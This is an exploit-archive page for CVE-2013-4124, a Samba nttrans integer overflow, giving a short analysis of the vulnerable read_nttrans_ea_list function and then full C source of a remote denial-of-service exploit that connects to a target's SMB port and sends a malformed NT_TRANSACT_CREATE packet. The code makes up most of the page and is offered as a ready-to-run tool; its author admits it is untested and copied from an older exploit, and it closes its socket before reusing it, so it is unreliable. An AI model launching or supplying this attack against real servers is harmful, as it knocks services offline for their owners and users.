Skip to content
cyberexploits
doslinuxtext

Samba nttrans Reply - Integer Overflow

Samba nttrans Reply - Integer Overflow

Publié le 2013-08-22

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/linux/dos/27778.txt7eac4c3a
raw
Exploitation: samba nttrans reply integer overflow



                                    ___    ___        

                                   / _ \  / _ \     

                            __  __| (_) || | | |  ___ 

                            \ \/ / \__. || | | | / __| 

                             >  <    / / | |_| || (__ 

                            /_/\_\  /_/   \___/  \___|





CVE-2013-4124 samba integer overflow in nttrans 

reply reading ea_list



vulnerable samba daemon has a integer overflow 

to cause remote dos by nttrans reply while the 

daemon reading ea_list. In the detail, unsigned

data type offset variable in vulnerable function 

of read_nttrans_ea_list can be wrap up! security

bug! 





x90c



[vulnerable versions]

    - samba 3.5.22 <=

    - samba 3.6.17 <=

    - samba 4.0.8 <=



[call graph]

+reply_nttrans	// reply nttrans

    +->handle_nttrans

        +-> call_nt_transact_create	// transact!

            -> read_nttrns_ea_list(vulnerable function)



[security bug analyze]

smbd/nttrans.c

---- snip ---- snip ---- snip ---- snip ----

971 /****************************************************************************

 972  Read a list of EA names and data from an incoming data buffer. Create an ea_list with them.

 973 ****************************************************************************/

 974 EA names, data from samba incoming buffer!

 975 struct ea_list *read_nttrans_ea_list(TALLOC_CTX *ctx, const char *pdata, size_t data_size)	// *pdata is inject vector

 976 {

 977         struct ea_list *ea_list_head = NULL;

 978         size_t offset = 0;	// unisigned

 979 

 980         if (data_size < 4) {

 981                 return NULL;

 982         }

 983 

 984         while (offset + 4 <= data_size) {	// XXX (3) if offset is wrap up then it enters the loop continuly

 985                 size_t next_offset = IVAL(pdata,offset);	// unsigned XXX (1) if next_offset from pdata pointer is much large value then to lead integer wrap!

// XXX (4) may memory corruption point! if offset is wrap up then second argv pointer(pdata+offset+4) pointers around zero memory then smb dos! 

 986                 struct ea_list *eal = read_ea_list_entry(ctx, pdata + offset + 4, data_size - offset - 4, NULL);

 987 

 988                 if (!eal) {

 989                         return NULL;

 990                 }

 991 

 992                 DLIST_ADD_END(ea_list_head, eal, struct ea_list *);

 993                 if (next_offset == 0) {

 994                         break;

 995                 }

 996 

 997                 /* Integer wrap protection for the increment. */		// XXX patch code

 998                 if (offset + next_offset < offset) {

 999                         break;

1000                 }

1001 

1002                 offset += next_offset;	// XXX (2) if next_offset is large value then offset is wrap!

1003 

1004                 /* Integer wrap protection for while loop. */	// XXX patch code

1005                 if (offset + 4 < offset) {

1006                         break;

1007                 }

1008 

1009         }

1010 

1011         return ea_list_head;

1012 }

---- snip ---- snip ---- snip ---- snip ----



---- snip ---- snip ---- snip ---- snip ----

1014 /****************************************************************************

1015  Reply to a NT_TRANSACT_CREATE call (needs to process SD's).

1016 ****************************************************************************/

1017 

1018 static void call_nt_transact_create(connection_struct *conn,

1019                                     struct smb_request *req,

1020                                     uint16 **ppsetup, uint32 setup_count,

1021                                     char **ppparams, uint32 parameter_count,

1022                                     char **ppdata, uint32 data_count,

1023                                     uint32 max_data_count)

1024 {

...

1148                 /* We have already checked that ea_len <= data_count here. */

1149                 ea_list = read_nttrans_ea_list(talloc_tos(), data + sd_len,

1150                                                ea_len);

---- snip ---- snip ---- snip ---- snip ----



---- snip ---- snip ---- snip ---- snip ----

2639 static void handle_nttrans(connection_struct *conn,

2640                            struct trans_state *state,

2641                            struct smb_request *req)

2642 {

...

2651         /* Now we must call the relevant NT_TRANS function */

2652         switch(state->call) {

2653                 case NT_TRANSACT_CREATE:	// NT_TRANSACT_CREATE!

2654                 {

2655                         START_PROFILE(NT_transact_create);

2656                         call_nt_transact_create(

2657                                 conn, req,

2658                                 &state->setup, state->setup_count,

2659                                 &state->param, state->total_param,

2660                                 &state->data, state->total_data,

2661                                 state->max_data_return);

2662                         END_PROFILE(NT_transact_create);

2663                         break;

2664                 }

---- snip ---- snip ---- snip ---- snip ----



---- snip ---- snip ---- snip ---- snip ----

2770 /****************************************************************************

2771  Reply to a SMBNTtrans.

2772 ****************************************************************************/

2773 

2774 void reply_nttrans(struct smb_request *req)	// smb_request!

2775 {

...

2945         if ((state->received_data == state->total_data) &&

2946             (state->received_param == state->total_param)) {

2947                 handle_nttrans(conn, state, req);

---- snip ---- snip ---- snip ---- snip ----



[exploitability]



    * keywords:

    - samba incoming data

    - EA names

    - data

    - 0xf1000000

    - SMB NTTRANS

    - Samba reply_nttrans() Remote Root Exploit

      (http://www.securiteam.com/exploits/5TP0M2AAKS.html)

    - SMB_COM_NT_TRANSACT(0xa0) = NTtrans (32-bit field)

    - SMBtrans

    - http://ubiqx.org/cifs/SMB.html





The security bug is remote dos to a daemon, the 

impact is exist even though it's exploited on 

local network. If large local network exist and 

many samba on the network, security risk is exist. 

I assign the dos impact to medium, and the apache 

or wuftpd dos to high because they are can be 

exploited on internet



/*



    !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!!



  CVE-2013-4124 samba remote dos private exploit



  

  ./samba_nttrans_exploit [target ip addr]



    * ... test ...:

      I didn't test for the exploit, I 

      copied another samba nttrans exploit 

      in 2003 that http://www.securiteam.co

      m/exploits/5TP0M2AAKS.html. It should 

      be works!

      

      the exploit send malformed nttrans 

      smb packet with large value of data 

      offset to cause integer wrap in the 

      vulnerable function of read_nttrns_ea_list



      I left an article that analyzed it

    

    !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!!





  x90c



*/



#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <errno.h>

#include <string.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <ctype.h>

#include <signal.h>



typedef unsigned char uint8;

typedef unsigned short uint16;

typedef unsigned long uint32;



struct variable_data_header

{ uint8 wordcount, bytecount[2];

};



struct nbt_session_header

{ uint8 type, flags, len[2];

};



struct smb_base_header

{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];

 uint8 flags;

 uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];

};



struct negprot_reply_header

{ uint8 wordcount;

 uint8 dialectindex[2];

 uint8 securitymode;

 uint16 maxmpxcount, maxvccount;

 uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;

 uint16 timezone;

 uint8 keylen;

 uint16 bytecount;

};



struct sesssetupx_request_header

{ uint8 wordcount, command, reserved;

 uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];

 uint8 sessionid[4];

 uint8 ipasswdlen[2], passwdlen[2];

 uint8 reserved2[4], capabilities[4];

};



struct sesssetupx_reply_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];

};



struct tconx_request_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];

};



struct tconx_reply_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];

};



struct nttrans_primary_request_header

{ 

  uint8 wordcount; 

  uint8 maxsetupcount; 

  uint8 flags[2];

  uint8 totalparamcount[4]; 

  uint8 totaldatacount[4];

  uint8 maxparamcount[4];

  uint8 maxdatacount[4];

    uint8 paramcount[4];

  uint8 paramoffset[4];

  uint8 datacount[4];

  uint8 dataoffset[4];  // XXXX 0xf000000

  uint8 setupcount; 

  uint8 function[2]; 

  uint8 bytecount[2];

};



#define SMB_NEGPROT 0x72

#define SMB_SESSSETUPX 0x73

#define SMB_TCONX 0x75

#define SMB_TRANS2 0x32

#define SMB_NTTRANS 0xA0

#define SMB_NTTRANSCREATE 0x01

#define SMB_TRANS2OPEN 0x00

#define SMB_SESSIONREQ 0x81

#define SMB_SESSION 0x00



uint32 sessionid, PARAMBASE = 0x81c0000;

char *tconx_servername;

int tid, pid, uid;



#define STACKBOTTOM 0xbfffffff

#define STACKBASE 0xbfffd000

#define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))



char *netbios_encode_name(char *name, int type)

{ char plainname[16], c, *encoded, *ptr;

 int i, len = strlen(name);

 if ((encoded = malloc(34)) == NULL)

 { fprintf(stderr, "malloc() failed\n");

 exit(-1);

 }

 ptr = encoded;

 strncpy(plainname, name, 15);

 *ptr++ = 0x20;

 for (i = 0; i < 16; i++)

 { if (i == 15) c = type;

 else 

 { if (i < len) c = toupper(plainname[i]);

  else c = 0x20;

 }

 *ptr++ = (((c >> 4) & 0xf) + 0x41);

 *ptr++ = ((c & 0xf) + 0x41);

 }

 *ptr = '\0';

 return encoded;

}



void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)

{ struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;

 uint16 nlen;



// geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..

 if (len > 65535) nlen = 65535;

 else nlen = htons(len);



 memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));

 

 nbt_hdr->type = type;

 nbt_hdr->flags = flags;

 memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));

}



// caller zorgt voor juiste waarde van ptr.

void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid, 

 uint16 uid, uint16 mid)

{ struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;



 memset(base_hdr, '\0', sizeof (struct smb_base_header));



 memcpy(base_hdr->protocol, "\xffSMB", 4);



 base_hdr->command = command;

 base_hdr->flags = flags;



 memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));

 memcpy(&base_hdr->tid, &tid, sizeof (uint16));

 memcpy(&base_hdr->pid, &pid, sizeof (uint16));

 memcpy(&base_hdr->uid, &uid, sizeof (uint16));

 memcpy(base_hdr->mid, &mid, sizeof (uint16));

}



void construct_sesssetupx_header(char *ptr)

{ struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;

 uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;

 uint32 capabilities = 0x50;



 memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));



 sx_hdr->wordcount = 13;

 sx_hdr->command = 0xff;

 memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));

 memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));

 memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));

 memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));

 memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));

 memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));

 memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));

}



/*

struct tconx_request_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];

 -- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];

}; */

void construct_tconx_header(char *ptr)

{ struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;

 uint16 passwdlen = 1, bytecount;

 char *data;



 memset(tx_hdr, '\0', sizeof (struct tconx_request_header));



 bytecount = strlen(tconx_servername) + 15; 



 if ((data = malloc(bytecount)) == NULL)

 { fprintf(stderr, "malloc() failed, aborting!\n");

 exit(-1);

 }

 memcpy(data, "\x00\x5c\x5c", 3);

 memcpy(data + 3, tconx_servername, strlen(tconx_servername));

 memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);



 tx_hdr->wordcount = 4;

 tx_hdr->xcommand = 0xff;



 memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));

 memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));



 memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);

}



void nbt_session_request(int fd, char *clientname, char *servername)

{ 

  char *cn, *sn;

  char packet[sizeof (struct nbt_session_header) + (34 * 2)];



  construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header));



  tconx_servername = servername;



  sn = netbios_encode_name(servername, 0x20);

  cn = netbios_encode_name(clientname, 0x00);



  memcpy(packet + sizeof (struct nbt_session_header), sn, 34);

  memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);



  write(fd, packet, sizeof (packet));

  close(fd);



  free(cn);

  free(sn);

}



void process_nbt_session_reply(int fd)

{ struct nbt_session_header nbt_hdr;

 char *errormsg;

 uint8 errorcode;

 int size, len = 0;



 if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)

 { close(fd);

 fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

 exit(-errno);

 }

 if (size != sizeof (nbt_hdr))

 { close(fd);

 fprintf(stderr, "read() a broken packet, aborting.\n"); 

 exit(-1);

 }

 memcpy(&len, &nbt_hdr.len, sizeof (uint16));



 if (len)

 { read(fd, (void *)&errorcode, 1); 

 close(fd);

 switch (errorcode)

 { case 0x80 : errormsg = "Not listening on called name"; break;

  case 0x81 : errormsg = "Not listening for calling name"; break;

  case 0x82 : errormsg = "Called name not present"; break;

  case 0x83 : errormsg = "Called name present, but insufficient resources"; break;

  case 0x8f : errormsg = "Unspecified error"; break;

  default : errormsg = "Unspecified error (unknown error code received!)"; break;

 }

 fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode);

 exit(-1);

 }

 printf("session request granted\n");

}



void negprot_request(int fd)

{ struct variable_data_header data;

 char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \

 "\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR"; 

 char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];

 int dlen = htons(sizeof (dialects));



 memset(&data, '\0', sizeof (data));

 construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

 pid = getpid();

 construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);



 memcpy(&data.bytecount, &dlen, sizeof (uint16));



 memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));

 memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)), 

 dialects, sizeof (dialects));



 if (write(fd, packet, sizeof (packet)) == -1)

 { close(fd);

 fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

 exit(-errno);

 }

}



void process_negprot_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

 struct smb_base_header *base_hdr;

 struct negprot_reply_header *np_reply_hdr;

 char packet[1024];

 int size;

 uint16 pid_reply;



 nbt_hdr = (struct nbt_session_header *)packet;

 base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

 np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) + 

 sizeof (struct smb_base_header)));



 if ((size = read(fd, packet, sizeof (packet))) == -1)

 { close(fd);

 fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

 exit(-errno);

 }



 memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));

 memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));

 if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)

 { close(fd);

 fprintf(stderr, "protocol negotiation failed\n");

 exit(-1);

 }



 printf("protocol negotiation complete\n");

}



void sesssetupx_request(int fd)

{ uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";

 char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 

 sizeof (struct sesssetupx_request_header) + sizeof (data)];

 int size;



 construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

 construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);

 construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

 memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 

 sizeof (struct sesssetupx_request_header), &data, sizeof (data));



 if ((size = write(fd, packet, sizeof (packet))) == -1)

 { close(fd);

 fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

 exit(-errno);

 }

 if (size != sizeof (packet))

 { close(fd);

 fprintf(stderr, "couldn't write entire packet, aborting!\n");

 exit(-1);

 }

}



void process_sesssetupx_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

 struct smb_base_header *base_hdr;

 struct sesssetupx_reply_header *sx_hdr;

 char packet[1024];

 int size, len;



 if ((size = read(fd, packet, sizeof (packet))) == -1)

 { close(fd);

 fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

 exit(-errno);

 }



 nbt_hdr = (struct nbt_session_header *)packet;

 base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

 sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));



 memcpy(&len, &nbt_hdr->len, sizeof (uint16));

 memcpy(&uid, &base_hdr->uid, sizeof (uint16));



 if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)

 { close(fd);

 fprintf(stderr, "session setup failed\n");

 exit(-1);

 }



 printf("session setup complete, got assigned uid %i\n", uid);

}



void tconx_request(int fd)

{ 

 char *packet;

 int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +

 sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;



 if ((packet = malloc(pktsize)) == NULL)

 { close(fd);

 fprintf(stderr, "malloc() failed, aborting!\n");

 exit(-1);

 }



 construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header));

 construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);

 construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));



 if ((size = write(fd, packet, pktsize)) == -1)

 { close(fd);

 fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

 exit(-errno);

 }



 free(packet);



 if (size != pktsize)

 { close(fd);

 fprintf(stderr, "couldn't write entire packet, aborting!\n");

 exit(-1);

 } 

}



void process_tconx_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

 struct smb_base_header *base_hdr;

 struct tconx_reply_header *tx_hdr;

 char packet[1024];

 int size, bytecount;

 

 if ((size = read(fd, packet, sizeof (packet))) == -1)

 { close(fd);

 fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);

 exit(-errno);

 }



 nbt_hdr = (struct nbt_session_header *)packet;

 base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

 tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));



 memcpy(&tid, &base_hdr->tid, sizeof (uint16));

 memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));



 printf("tree connect complete, got assigned tid %i\n", tid);

}



void nttrans_request(int fd) { 

  // packet = nbt session header + smb base header + nttrans header!

  char packet[sizeof (struct nbt_session_header) + 

        sizeof (struct smb_base_header) + 

        sizeof (struct nttrans_primary_request_header)];

  struct nttrans_primary_request_header nttrans_hdr;  // nttrans header!

  int size=0;

  int function = SMB_NTTRANSCREATE;  // NTTRANSCREATE!

  int totalparamcount = TOTALCOUNT;

  int totaldatacount = 0;

  uint8 setupcount = 0;



  memset(&nttrans_hdr, 0, sizeof nttrans_hdr);



  // construct nbt session header

  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  // construct smb base header

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS, 8, 1, tid, pid, uid, 1);



  // construct nttrans header

  nttrans_hdr.paramoffset[0] = '\x00';

  nttrans_hdr.paramoffset[1] = '\x00';

  nttrans_hdr.paramoffset[2] = '\x10';

  nttrans_hdr.paramoffset[3] = '\xff';

  nttrans_hdr.dataoffset[0] = '\x00';  // XXX data offset 0xff100000 to integer wrap

  nttrans_hdr.dataoffset[1] = '\x00';  //    the offset exploits the security bug of CVE-2013-4124

  nttrans_hdr.dataoffset[2] = '\x10';  //      samba remote dos

  nttrans_hdr.dataoffset[3] = '\xff';



  nttrans_hdr.wordcount = 19 + setupcount;

  memcpy(&nttrans_hdr.function, &function, sizeof (uint16));

  memcpy(&nttrans_hdr.totalparamcount, &totalparamcount, sizeof (uint32));

  memcpy(&nttrans_hdr.totaldatacount, &totaldatacount, sizeof (uint32));

  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nttrans_hdr, sizeof nttrans_hdr);



  // send samba packet!

  size = write(fd, packet, sizeof (packet));

  close(fd);



}



static char banner[]={

"                                    ___    ___              \n" \

"                                   / _ \\  / _ \\           \n" \

"                            __  __| (_) || | | |  ___       \n" \

"                            \\ \\/ / \\__. || | | | / __|   \n" \

"                             >  <    / / | |_| || (__       \n" \

"                            /_/\\_\\  /_/   \\___/  \\___|  \n" \

};



int main(int argc, char *argv[]) {

  int fd;

  struct sockaddr_in s_in;

  char target_ip[16];

  int smb_port=139;

    



    printf("%s\n\nsamba nttrans reply exploit\n\n", banner);



  if(argc < 2){

    fprintf(stderr, "samba nttrans reply exploit Usage:\n\n./samba_exploit [target ip addr]\n\n");

    exit(-1);

  }



  strncpy(target_ip, argv[1], 16);

  

    memset(&s_in, 0, sizeof (s_in));

    s_in.sin_family = AF_INET;

    s_in.sin_port = htons(smb_port);  // samba port=139/tcp

    s_in.sin_addr.s_addr = inet_addr(target_ip);



    fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    connect(fd, (struct sockaddr *)&s_in, sizeof (s_in));



  // nbt(netbios over tcpip, nbtstat) session request

  nbt_session_request(fd, "BOSSA", "SAMBA");  // adjust computer names(clientname, servername)

    process_nbt_session_reply(fd);



  // protocol negotiation

    negprot_request(fd);

    process_negprot_reply(fd);

 

    // session setup

    sesssetupx_request(fd);  // setup request

    process_sesssetupx_reply(fd);  // setup reply



    // tree connection setup

    tconx_request(fd);

    process_tconx_reply(fd);



  // exploit!

    printf("[*] nttrans reply exploit!\n");

    nttrans_request(fd);



  close(fd);



  return 0;

}
Voir sur GitHub